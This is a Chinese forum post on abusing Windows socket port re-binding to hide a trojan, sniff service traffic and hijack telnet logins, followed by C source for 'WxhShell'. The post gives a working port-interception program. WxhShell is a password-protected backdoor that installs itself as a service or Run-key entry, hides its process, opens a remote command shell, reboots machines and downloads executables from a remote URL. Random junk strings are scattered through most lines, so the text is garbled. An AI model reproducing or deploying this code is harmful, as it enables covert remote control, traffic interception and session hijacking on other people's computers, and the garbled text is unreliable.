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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n 8e}8.Bu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  YwB\kN  
t4iV[xl3F  
  saddr.sin_family = AF_INET; RveMz$Yy  
04z2gAo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =Sn!'@%U]  
*_yp]z"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h"Q&E'0d  
S#7.y~e\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SRk-3:  
aw0xi,Jz  
  这意味着什么?意味着可以进行如下的攻击: akA C^:F  
*:,7 A9LY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s|8_R;  
x"PMi[4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &nF7CCF  
7R om#Kl:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;,LlOR  
gLv";"4S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u:4?$%rB  
PR1%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j,JGs[A  
DcLx [C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C[(Exe  
uI[lrMQYa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IqONDdep9  
P!2[#TL0  
  #include ,t>/_pI+=  
  #include @AkD-}^[  
  #include !7[Rhk7bW  
  #include    dCMWv~>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~4~>; e  
  int main() kv3jbSKCT  
  { axi%5:I  
  WORD wVersionRequested; }+f@$L  
  DWORD ret; }vdhk0  
  WSADATA wsaData; =u`^QE  
  BOOL val; rru `% ~'O  
  SOCKADDR_IN saddr; X'>]z'0W  
  SOCKADDR_IN scaddr; 1Q$Z'E}SK@  
  int err; ;zvg]  %  
  SOCKET s; =Wk!mGc  
  SOCKET sc; Ow]c,F}^  
  int caddsize; hu qQ0  
  HANDLE mt; pfvNVu  
  DWORD tid;   |+i?FYA\  
  wVersionRequested = MAKEWORD( 2, 2 ); dmD ':1  
  err = WSAStartup( wVersionRequested, &wsaData ); C_Z[ul  
  if ( err != 0 ) { X\1'd,V  
  printf("error!WSAStartup failed!\n"); dPRGL hWF  
  return -1; e[8p/hId  
  } "^ cn9AG{  
  saddr.sin_family = AF_INET; a|@^ N  
   . RNQlh3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SQbnn"  
yN~: 3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Lw.N3!e[  
  saddr.sin_port = htons(23); vg1p{^N !  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E8Wgm 8  
  { )f0t"lk  
  printf("error!socket failed!\n"); eESJk 14  
  return -1; -3c?Yaf"  
  } 5fBW#6N/  
  val = TRUE; z|SLH<~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R3$e q )  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2$? )VXtw  
  { =lG5Kc{B  
  printf("error!setsockopt failed!\n"); 8f|  
  return -1; 8ESBui3;  
  } pOip$Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [0} ^w[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,saf"Ed=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D|n`9yv a  
C@L:m1fz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?H3xE=<X  
  {  _D(F[p|  
  ret=GetLastError(); iffRGnN^e  
  printf("error!bind failed!\n"); )vk$]<$  
  return -1; t <#Yr%a  
  } 8<uKzb(O:  
  listen(s,2); xFS`#1  
  while(1) -U=bC   
  { mOyBSOad4  
  caddsize = sizeof(scaddr); R28h%KN  
  //接受连接请求 QSy=JC9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /cDla5eej  
  if(sc!=INVALID_SOCKET) O.*,e  
  { 8<6;X7<-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); */RtN`dh  
  if(mt==NULL) P{)eZINlE  
  { !T|X/B R  
  printf("Thread Creat Failed!\n"); (a1s~  
  break; 70m}+R(`  
  } y_8 8I:O  
  } qgU$0enSs  
  CloseHandle(mt); o$YL\ <qp  
  } 3%xj-7z W  
  closesocket(s); 9[B*CD |  
  WSACleanup(); hM(|d@)  
  return 0; jzu1>*ok  
  }   *A O/$K@Ma  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,?7U Rx*  
  { ueYZM<],  
  SOCKET ss = (SOCKET)lpParam; KaHjL&!  
  SOCKET sc; Y9 , KOs  
  unsigned char buf[4096]; vh+Ih Gi  
  SOCKADDR_IN saddr; eEQ 4L\d  
  long num; 3m?3I2k  
  DWORD val; 7WW@%4(  
  DWORD ret; icHc!m?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #tdI;x3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (~N &ov  
  saddr.sin_family = AF_INET; cyG3le& +G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {v56k8uZ  
  saddr.sin_port = htons(23); <`a!%_LC [  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bi)1*  
  { \ M8;CN  
  printf("error!socket failed!\n"); }ruBbeQ  
  return -1; x2[A(O=  
  } FU~ Ip  
  val = 100; IiIF4 pQ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~(%nnG6x  
  { S!k cC-7  
  ret = GetLastError(); 3xh~xE  
  return -1; d?*=<w!A  
  } 'ac %]}`-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M"#xjP.  
  { 9dr\=e6) C  
  ret = GetLastError(); z'MOuz~Y  
  return -1; x(&o=Pu  
  } ZPY#<^WOzr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _CBG?  
  { [L"(flY(E  
  printf("error!socket connect failed!\n"); Edc<  8-  
  closesocket(sc);  J O`S  
  closesocket(ss); Lt.a@\J'_  
  return -1; jX!,xS%(  
  } ;dNKe.`Dg  
  while(1) iu2{%S)w  
  { JV Fn=Mw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _1 f!9ghT\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V,fSn:8%M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 egxh  
  num = recv(ss,buf,4096,0); sME3s-  
  if(num>0) U`D/~KJ{Y  
  send(sc,buf,num,0); N)03{$WM  
  else if(num==0) $uF} GP_)  
  break; >Q#_<IcI  
  num = recv(sc,buf,4096,0); lzN\~5a}  
  if(num>0) lW1Al>dW<  
  send(ss,buf,num,0); Mk7,:S  
  else if(num==0) kcVEE)zb  
  break; 0p :FAvvNI  
  } ?k]^?7GN  
  closesocket(ss); pM= @  
  closesocket(sc); <V#9a83JP  
  return 0 ; ds,NNN<HW  
  } Q-_&5/G  
htj:Z:C`  
hMh8)S  
========================================================== Ro`9Ibqr  
HP^<2?K  
下边附上一个代码,,WXhSHELL $rv&!/}]e  
;z/Z(7<; ;  
========================================================== ;tP-#Xf  
$+!/=8R)  
#include "stdafx.h" SZW`|ajH  
8<z+hWX=4  
#include <stdio.h> 1~Zmc1]  
#include <string.h> 'kf]l=i[n  
#include <windows.h> E4 GtJ`{X  
#include <winsock2.h> Cb5;l~}L  
#include <winsvc.h> {M96jjiInf  
#include <urlmon.h> /qa{*"2Qo  
YD_hg#=n  
#pragma comment (lib, "Ws2_32.lib") 4!64S5(7t  
#pragma comment (lib, "urlmon.lib") lM~ 3yBy  
OaY.T  
#define MAX_USER   100 // 最大客户端连接数 gE]6]L  
#define BUF_SOCK   200 // sock buffer > L_kSC?  
#define KEY_BUFF   255 // 输入 buffer sa$CCQ  
I !=ew |  
#define REBOOT     0   // 重启 X?&(i s  
#define SHUTDOWN   1   // 关机 U1}-]^\  
+Kw:z?  
#define DEF_PORT   5000 // 监听端口 ?55t0  
:sAb'6u1EU  
#define REG_LEN     16   // 注册表键长度 gQMcQV]C$  
#define SVC_LEN     80   // NT服务名长度 ^<49NUB>  
FD:3;nUY7  
// 从dll定义API GX?R# cf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z{Z4{&M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ :To\6\Ri  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #m=TK7*v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vVQwuV  
Y S/x;  
// wxhshell配置信息 .\XFhOsa  
struct WSCFG { viB'ul7o  
  int ws_port;         // 监听端口 A?i ~*#wE  
  char ws_passstr[REG_LEN]; // 口令 Wu3or"lcw*  
  int ws_autoins;       // 安装标记, 1=yes 0=no g<pr(7jO  
  char ws_regname[REG_LEN]; // 注册表键名 yNCd} 4Ym5  
  char ws_svcname[REG_LEN]; // 服务名 vy&'A$ H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sG{fxha  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '/8{Mx+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C{( &Yy"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n@|5PI"bx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5My4a9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Od_xH  
""$vaqt  
}; oGt,^!V1  
1T&NU  
// default Wxhshell configuration )` ~"o*M  
struct WSCFG wscfg={DEF_PORT, Y;2WY 0eq  
    "xuhuanlingzhe", U; -2)+  
    1, !\|_,pSB  
    "Wxhshell", LCBP9Rftvd  
    "Wxhshell", rlxZ,]ul  
            "WxhShell Service", w5fVug/;P  
    "Wrsky Windows CmdShell Service", #uTNf78X  
    "Please Input Your Password: ", O0^m_  
  1, )Y4;@pEU  
  "http://www.wrsky.com/wxhshell.exe", W]Bc7JM]T+  
  "Wxhshell.exe" e1cqzhI=nA  
    }; HiAj3  
7PTw'+{  
// 消息定义模块 ) uM*`%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6Qtyv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jW]Q-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BoJpf8e'-e  
char *msg_ws_ext="\n\rExit."; Td,2.YMQ  
char *msg_ws_end="\n\rQuit."; zF: :?L~  
char *msg_ws_boot="\n\rReboot..."; M%&1j >d  
char *msg_ws_poff="\n\rShutdown..."; +;r1AR1)x  
char *msg_ws_down="\n\rSave to "; 0?V{u`*  
0zQ~'x  
char *msg_ws_err="\n\rErr!"; mIW8K ):  
char *msg_ws_ok="\n\rOK!"; 75v7w  
^IQtXae6M  
char ExeFile[MAX_PATH]; DVJuX~'|!  
int nUser = 0; gq%U5J"x;J  
HANDLE handles[MAX_USER]; ^wass_8  
int OsIsNt; qwhDv+o  
>EE}P|=-  
SERVICE_STATUS       serviceStatus; R+sv?4k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p1F{ v^  
y{>T['"@  
// 函数声明 S\76`Ot  
int Install(void); u~rPqBT{d3  
int Uninstall(void); <JUumrEo  
int DownloadFile(char *sURL, SOCKET wsh); c,>y1%V*S{  
int Boot(int flag); {L'uuG\9U  
void HideProc(void); {CH5`&  
int GetOsVer(void); /1@py~ZX  
int Wxhshell(SOCKET wsl); !NqLBrcv0  
void TalkWithClient(void *cs); c r,fyAvX  
int CmdShell(SOCKET sock); Qg6tJB   
int StartFromService(void); xAwP  
int StartWxhshell(LPSTR lpCmdLine); t,NE`LC  
tJe5`L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -HwqR Y s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y^0 mf|  
+MR]h [  
// 数据结构和表定义 xig4H7V  
SERVICE_TABLE_ENTRY DispatchTable[] = 6;C2^J@  
{ N)X 3pWC8  
{wscfg.ws_svcname, NTServiceMain}, o[I s$j  
{NULL, NULL} Six2{b)p  
}; xs 1V?0  
B_DyH C\<  
// 自我安装 E]w2 {%  
int Install(void) ?_-5W9  
{ sA~Ijg"6  
  char svExeFile[MAX_PATH]; rS>@>8k2,  
  HKEY key; w`GjQIA  
  strcpy(svExeFile,ExeFile); zK_Q^M`  
/+wCx#!  
// 如果是win9x系统,修改注册表设为自启动 73j\!x  
if(!OsIsNt) { }!uwWBw`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |zbM$37 ?k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *j~ObE_y  
  RegCloseKey(key); ECsb?n7e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B#]:1:Qn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); we0haK  
  RegCloseKey(key); c( _R xLJ  
  return 0; :W.pD:/=v  
    } bg\9Lbjr  
  } i);BTwW)#]  
} uS<og P  
else { qWU59:d^{  
y@h v#;  
// 如果是NT以上系统,安装为系统服务 Xv+!) j<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QVF561Yz  
if (schSCManager!=0) (%j V [Q  
{ A(9$!%#+L  
  SC_HANDLE schService = CreateService _RNP_$a  
  ( Py`7)S  
  schSCManager, |Ed?s  
  wscfg.ws_svcname, ux8K$$$  
  wscfg.ws_svcdisp, o)wOXF  
  SERVICE_ALL_ACCESS, 1@t8i?:h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |J"\~%8  
  SERVICE_AUTO_START, *5u3d`bW  
  SERVICE_ERROR_NORMAL, /hur6yI8  
  svExeFile, hbe";(  
  NULL, _WGWU7h  
  NULL, vL#I+_ 2  
  NULL, kXWC o6?  
  NULL, oj=% < a  
  NULL 2Akh/pb  
  ); lDL(,ZZS`  
  if (schService!=0) ~\*wt(o  
  { ef@F!s_fI  
  CloseServiceHandle(schService); +4n}H}9l  
  CloseServiceHandle(schSCManager); >]HvXEdNZ|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Vhr 1;j  
  strcat(svExeFile,wscfg.ws_svcname); >guX,hx^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Ow#W5_3|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tl 9`  
  RegCloseKey(key); #nQboTB@  
  return 0; } rX)A\ g6  
    } (&=3Y8  
  } >uo=0=9=  
  CloseServiceHandle(schSCManager); i# fvF)  
} bN&DotG  
} :*vSC:q  
_}gfec4o  
return 1; [x%8l,O #l  
} eNK6=D|  
y(*5qa<>  
// 自我卸载 4av  
int Uninstall(void) ^jXKM!}-E  
{ `46|VQAx  
  HKEY key; iL<FF N~{  
uF ;8B]"  
if(!OsIsNt) { _} j6Pw'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g* -}9~  
  RegDeleteValue(key,wscfg.ws_regname); RT2&^9-  
  RegCloseKey(key); - i{1h"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ac,<+y7A  
  RegDeleteValue(key,wscfg.ws_regname); j*FpQiBoT  
  RegCloseKey(key); i!G<sfL  
  return 0; E<p<"UjcCJ  
  } sZwa#CQKq  
} Ld'3uM/  
} 6o^O%:0g  
else { v5I5tzt*%H  
L*P*^I^1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u= Ga}  
if (schSCManager!=0) NA YwuE-`  
{ >_#A*B|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _ t.E_K  
  if (schService!=0) mqBX1D`e2  
  { Bw<$fT`  
  if(DeleteService(schService)!=0) { S^N{=*  
  CloseServiceHandle(schService); /GO((v+J  
  CloseServiceHandle(schSCManager); qP+%ui5xR  
  return 0; =y^ g*9}_  
  } S/yBr`  
  CloseServiceHandle(schService); +O1=Ao  
  } S] 4RGWn  
  CloseServiceHandle(schSCManager); r!^VCA  
} ?btX&:j2P  
} <J]N E|:  
,!^g8zO  
return 1; MIu'OJ"z~  
} bWZ oGFT  
_$mS=G(  
// 从指定url下载文件 ]'vAeC6{  
int DownloadFile(char *sURL, SOCKET wsh) )"Wy/P  
{ H:t2;Z'  
  HRESULT hr; t4p-pH'9b  
char seps[]= "/"; "/x/]Qx2  
char *token; rm<`H(cT  
char *file; Kww+lgzS  
char myURL[MAX_PATH]; :U faMe5  
char myFILE[MAX_PATH]; e63io0g>  
U9Lo0K  
strcpy(myURL,sURL); G&yF9s)Lvs  
  token=strtok(myURL,seps); v){X&HbP  
  while(token!=NULL) +p-S36K~,7  
  { RRtOBrIedI  
    file=token; km}E&ao  
  token=strtok(NULL,seps); CbMClnF  
  } $cGV)[KWp@  
O_D;_v6Ii+  
GetCurrentDirectory(MAX_PATH,myFILE); _z3^.QP  
strcat(myFILE, "\\"); [5]* Be  
strcat(myFILE, file); Ct0%3]<J  
  send(wsh,myFILE,strlen(myFILE),0); G)=+Nt\ *  
send(wsh,"...",3,0); ^56#{~%^?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?o d*"M  
  if(hr==S_OK) 1! R:}r3t  
return 0; QjsN7h&%  
else pS!N<;OWr  
return 1; b~+\\,q}  
2!a~YT  
} ([hd  
|H8UT S X+  
// 系统电源模块 qjRp5  
int Boot(int flag) Z-i$KF  
{ a]x\e{  
  HANDLE hToken; Csm23QLsg)  
  TOKEN_PRIVILEGES tkp; cV* 0+5  
z\<gm$1CB  
  if(OsIsNt) { $t>ow~Xi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k= 9a/M u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,oj)`?Vh  
    tkp.PrivilegeCount = 1; =1j`VJU9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jE$]Z(Ab  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =l$qwcfbo  
if(flag==REBOOT) { (<yQA. M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o&E2ds3  
  return 0; <-|g>  
} j2:A@ a6  
else { i^/D_L.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zQx7qx  
  return 0; }}v28"\TA  
} g@S?5S.Av  
  } cs)z!  
  else { pB79#4  
if(flag==REBOOT) { oSoU9_W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /7b$C]@k  
  return 0; 3q1u9`4;  
} 7/Mhz{o;W  
else { (a8oI )~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YwF\  
  return 0; {q BbzBG  
}  av!~B,  
} wEIAU  
7A>glZ/x  
return 1; _+nlm5  
} o n?8l?iQ  
b .v^:M  
// win9x进程隐藏模块 9,Ug  
void HideProc(void) (2%z9W  
{ 86f/R c  
yl~h `b4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $g)X,iQu  
  if ( hKernel != NULL ) M{~KT3c  
  { a.g:yWL\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -\fn\n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }MV=t7x9+  
    FreeLibrary(hKernel); T8J[B( )L  
  } V: ivnx*  
,xIWyI.  
return; z,=k F I  
} .JL?RH2@8  
RLbxNn  
// 获取操作系统版本 @&]%%o+  
int GetOsVer(void) Qtn%h:i S~  
{ 2aO.t  
  OSVERSIONINFO winfo; Hh.l,Z7i7D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V s1Z$HS`  
  GetVersionEx(&winfo); 54, (;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n>I NJ  
  return 1; [ f`V_1d3  
  else "npLl]XM  
  return 0; . xdSUe  
} Tg.}rNA4  
626 !6E;T  
// 客户端句柄模块 (SYSw%v$A  
int Wxhshell(SOCKET wsl) <f`G@  
{ SiQszV.&  
  SOCKET wsh; ~m.@{Do0p  
  struct sockaddr_in client; E 14Dq#L  
  DWORD myID; +eD+Z.{  
69u"/7X  
  while(nUser<MAX_USER) ,_2ZKO/k$  
{ :*/`"M)'  
  int nSize=sizeof(client); Ta3qEVs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S-k:+4  
  if(wsh==INVALID_SOCKET) return 1; 2Fsv_t&*>  
P ||:?3IH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2hI|] p  
if(handles[nUser]==0) *_7%n-k  
  closesocket(wsh); m`Ver:{  
else 8z h{?0  
  nUser++; m dTCe HX  
  } vMV}M%~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W{(q7>g  
Grw|8xN0t  
  return 0; m|w-}s,  
} >HY( Ij<  
wR=WS',  
// 关闭 socket 11(:#4Y,  
void CloseIt(SOCKET wsh) 8%wu:;*]%  
{ /2e&fxxD  
closesocket(wsh); >FabmIcC  
nUser--; K`?",G?_  
ExitThread(0); P6ztP$M(  
} XNJPf) T  
3B5GsI  
// 客户端请求句柄 GF-\WD  
void TalkWithClient(void *cs) P[E5e+ A)  
{ aqk0+  
ub/9T-#l  
  SOCKET wsh=(SOCKET)cs; +bw>9VmG  
  char pwd[SVC_LEN]; LJ Aqk2k  
  char cmd[KEY_BUFF]; hc;8Vsa  
char chr[1]; RrGFGn{  
int i,j; j!:^+F/  
&6`h%;a/&  
  while (nUser < MAX_USER) { lef,-{X-  
R6A{u(  
if(wscfg.ws_passstr) { `i,l)X]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *Jy'3o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %cl=n!T  
  //ZeroMemory(pwd,KEY_BUFF); j%m9y_rg}  
      i=0; [Cx'a7KWL  
  while(i<SVC_LEN) { LzW8)<N  
N1 }#6YNw  
  // 设置超时 ;5bzXW#U  
  fd_set FdRead; +q/ j  
  struct timeval TimeOut; aI l}|n"  
  FD_ZERO(&FdRead); dyz)22{\!`  
  FD_SET(wsh,&FdRead); %9!, PeRe  
  TimeOut.tv_sec=8; Pu=,L#+FN  
  TimeOut.tv_usec=0; uoM;p'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8i=c|k,GL.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >vPDF+u  
*?a rEYc8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b!7*bFTt  
  pwd=chr[0]; 69{BJ] q  
  if(chr[0]==0xd || chr[0]==0xa) { x"9e eB,  
  pwd=0; `EUufTYi  
  break; &]'{N69@d?  
  } oWu2}#~z_  
  i++; T5g}z5~"  
    } x9s 7:F  
=skw@c ^  
  // 如果是非法用户,关闭 socket ur,!-t(~t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {WE1^&Vk-}  
} V kA$T8  
[!ghI%VK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LK}Ih@ f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &G)I|mv  
?~vVSY  
while(1) { Y%FQ]Q=+  
78}QaE  
  ZeroMemory(cmd,KEY_BUFF); ZPieL&uV`  
zF9SZ#{a  
      // 自动支持客户端 telnet标准   4' ym vR  
  j=0; L"|~,SVF  
  while(j<KEY_BUFF) { L|wD2iw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -_bnGY%,  
  cmd[j]=chr[0]; *f[nge&.  
  if(chr[0]==0xa || chr[0]==0xd) { G^`IfF-j  
  cmd[j]=0; sw={bUr6G`  
  break; Li jisE  
  } hGPo{>xR  
  j++; mIK-a{?G  
    } aL9 yNj}2  
QUPZe~G>L  
  // 下载文件 WU wH W  
  if(strstr(cmd,"http://")) { -K 7jigac  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4&}V3"lg  
  if(DownloadFile(cmd,wsh)) H]6i1j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2qw-:  
  else Tq\S-K}4!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fgf5OHX  
  } [z2XK4\e1T  
  else { bjQp6!TsZ  
u?(@hUV.  
    switch(cmd[0]) { TY(B]Q_o  
  raWs6b4Q  
  // 帮助 Kw`{B3"  
  case '?': { 0W92Z@_GY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,cgFdOM.  
    break; e;+6U"Jx*  
  } MX@t[{Gg9  
  // 安装 3@qy}Nm  
  case 'i': { S'Hb5C2u  
    if(Install()) Gb=pQ (n4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KT3W>/#E  
    else 6zo'w Wc3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *>lh2ssl L  
    break; \~sc6ho  
    } |[/<[@\''  
  // 卸载 DChqcdx~~  
  case 'r': { {XHAQ9'  
    if(Uninstall()) PTU_<\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V`/ E$a1&  
    else UlG8c~p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C 2f=9n/  
    break; qO;.{f  
    } aC\O'KcH  
  // 显示 wxhshell 所在路径 y /$Q5P+o  
  case 'p': { 'qL:7  
    char svExeFile[MAX_PATH]; g*]hmkYe9  
    strcpy(svExeFile,"\n\r"); {|KFgQ'\  
      strcat(svExeFile,ExeFile); V`c"q.8  
        send(wsh,svExeFile,strlen(svExeFile),0); e\0vphS6  
    break; DzfgPY_Py  
    } YXJreM5  
  // 重启 kPhdfF*Q  
  case 'b': { <Km ^>9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~4 ~c+^PF  
    if(Boot(REBOOT)) TY."?` [FK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7L%JCH#F  
    else { Nl4,c[$C  
    closesocket(wsh); -0QoVGw  
    ExitThread(0); b^*9m PP  
    } {7k Jj(Ue  
    break; fH-fEMyW  
    } \# p@ef  
  // 关机 oO0dN1/  
  case 'd': { 7U9*-9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S:bYeD4  
